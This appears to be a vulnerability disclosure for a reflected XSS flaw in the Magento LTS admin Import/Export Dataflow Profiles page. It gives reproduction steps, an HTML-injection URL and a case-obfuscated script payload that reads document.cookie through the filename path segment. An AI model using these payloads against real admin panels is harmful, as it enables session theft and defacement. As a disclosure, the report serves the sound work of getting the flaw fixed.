Magento LTS: Reflected XSS - Import -> Data Flow (profiles)

A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

• Login to the admin panel

• Go to the path System -> Import/Export -> Dataflow - Profiles

• Select profile direction as Import.

• Click on Import Customers

• Upload the file.

File Link: customer_20260212_204335.csv

• Go back to Run profile.

• Select the uploaded file and Click on Run in Popup.

• One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

• One can see the filename getting reflection in HTML tags.

• Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

<img width="1796" height="302" alt="image (3)" src="https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a" />

• One can see the tag is getting executed.

• Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

<img width="1670" height="562" alt="image (4)" src="https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d" />

• There is an XSS popup.

Impact

Cookie stealing, JS deface, many more